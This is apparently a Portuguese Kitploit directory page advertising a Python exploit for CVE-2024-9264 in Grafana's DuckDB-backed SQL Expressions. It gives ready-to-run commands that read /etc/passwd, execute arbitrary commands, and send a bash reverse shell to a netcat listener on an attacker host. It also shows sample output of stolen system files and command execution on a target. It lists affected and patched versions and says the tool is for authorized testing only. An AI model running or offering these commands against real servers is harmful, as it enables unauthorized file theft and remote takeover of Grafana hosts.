Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana Expressões SQL DuckDB LFI/RCE PoC | Kitploit
Ferramentas/GitHubGitHub/ozcanpng/cve-2024-9264
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e Educação
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana Expressões SQL DuckDB LFI/RCE PoC

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-9264 - PoC de LFI/RCE em Expressões SQL do Grafana com DuckDB

Prova de conceito em Python para a CVE-2024-9264, uma vulnerabilidade em Expressões SQL do Grafana que pode permitir inclusão local de arquivos e execução de comandos por meio de acesso autenticado quando o duckdb está disponível no PATH do processo do Grafana.

Somente para testes autorizados e pesquisa. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.


O que faz

root@kitploit:~
acesso autenticado à API do Grafana -> consulta DuckDB de Expressões SQL -> leitura de arquivo -> execução opcional de comandos via shellfs
  1. Envia uma solicitação autenticada para o endpoint de consulta do datasource de Expressões SQL do Grafana.
  2. Lê arquivos com read_blob() do DuckDB. Se for solicitada a execução de comandos, /etc/passwd é usado primeiro como arquivo de validação padrão.
  3. Opcionalmente, carrega o shellfs do DuckDB e executa um comando por meio de uma chamada com suporte a pipe.
Baixar ferramenta
read_csv()
  • Lê a saída do comando de /tmp/cve_2024_9264_out e imprime o resultado decodificado.
  • O endpoint vulnerável pode ser chamado diretamente por meio da API; não é necessária interação com a interface do dashboard. A autenticação continua sendo necessária.


    Capturas de tela

    Execução de comandos

    Prova da execução de comando

    Payload de reverse shell

    Entrega do payload de reverse shell

    Listener de reverse shell

    Listener do reverse shell


    Instalação

    root@kitploit:~
    git clone https://github.com/ozcanpng/CVE-2024-9264.git
    cd CVE-2024-9264
    python3 -m pip install -r requirements.txt
    

    Uso

    Leitura de arquivos

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
    

    Quando --file é usado sozinho, o script lê esse arquivo diretamente e imprime o conteúdo decodificado na seção de resultados da leitura de arquivos.

    Execução de comandos

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
    

    O script primeiro executa uma validação padrão de leitura do arquivo /etc/passwd e depois entrega o payload do comando. Na seção de resultados, ele imprime a saída decodificada do comando em vez da resposta JSON bruta do Grafana.

    Reverse shell

    Inicie um listener:

    root@kitploit:~
    rlwrap nc -lvnp 4444
    

    Envie o payload de reverse shell:

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
    

    Dry Run

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
    

    Depuração

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
    

    Opções

    Estas opções são baseadas na CLI atual do script:

    root@kitploit:~
    -u, --url, --target TARGET
                            URL de destino, ex.: http://localhost:3000
    --username USERNAME     Nome de usuário do Grafana. Padrão: admin
    --password PASSWORD     Senha do Grafana. Padrão: admin
    --file FILE             Caminho do arquivo a ser lido. Caminho padrão de prova: /etc/passwd
    --expected-marker MARKER
                            Marcador esperado na resposta da leitura do arquivo. Padrão: root:
    --cmd CMD               Comando a ser executado pelo caminho shellfs do DuckDB
    --reverse-shell         Executa um payload de reverse shell em bash
    --lhost LHOST           Host do listener para --reverse-shell
    --lport LPORT           Porta do listener para --reverse-shell
    --timeout TIMEOUT       Tempo limite de HTTP em segundos. Padrão: 20
    --verify-tls            Verifica certificados TLS. Padrão: ativado
    -k, --insecure          Desativa a verificação de certificados TLS
    --dry-run               Imprime metadados do alvo e do payload sem enviar solicitações
    --debug                 Imprime metadados de depuração das solicitações
    

    Exemplo de saída

    Leitura de arquivos

    root@kitploit:~
    [STEP 2] File Read Result
    --------------------------------------------------------------------
    [*] File path    : /etc/passwd
    [*] HTTP status  : 200
    [+] File content read successfully.
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    grafana:x:472:0::/home/grafana:/usr/sbin/nologin
    

    Execução de comandos

    root@kitploit:~
    [STEP 4] Result
    --------------------------------------------------------------------
    [*] HTTP status  : 200
    [+] Payload accepted by Grafana.
    uid=472(grafana) gid=0(root) groups=0(root)
    

    Produtos afetados

    ProdutoVersão afetadaAcesso necessárioImpacto
    Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x e 11.2.x anteriores às versões corrigidas de segurançaVisualizador (Viewer) ou superiorInclusão local de arquivos e injeção de comandos quando o DuckDB está presente no PATH do Grafana

    O Grafana observa que a exploração exige que o binário duckdb esteja presente no PATH do processo do Grafana; as distribuições normais do Grafana não instalam o DuckDB por padrão.


    Observações

    • São necessárias credenciais válidas do Grafana.
    • A conta deve ter permissões de Visualizador (Viewer) ou superiores.
    • A exploração direta pela API não significa exploração não autenticada; as solicitações ainda precisam de uma sessão válida ou de credenciais de Autenticação Básica (Basic Auth).
    • A leitura de arquivos é usada como primeira etapa de validação antes da execução de comandos.
    • A execução de comandos depende do DuckDB e do comportamento da extensão shellfs no ambiente de destino.
    • Para alvos TLS que usam certificados autoassinados, use -k ou --insecure.
    • As versões de segurança corrigidas incluem Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.

    Referências

    • Aviso do Grafana - CVE-2024-9264
    • Blog de lançamento de segurança do Grafana
    • NVD - CVE-2024-9264

    Autor

    ozcanpng - github.com/ozcanpng - ozcanpng.dev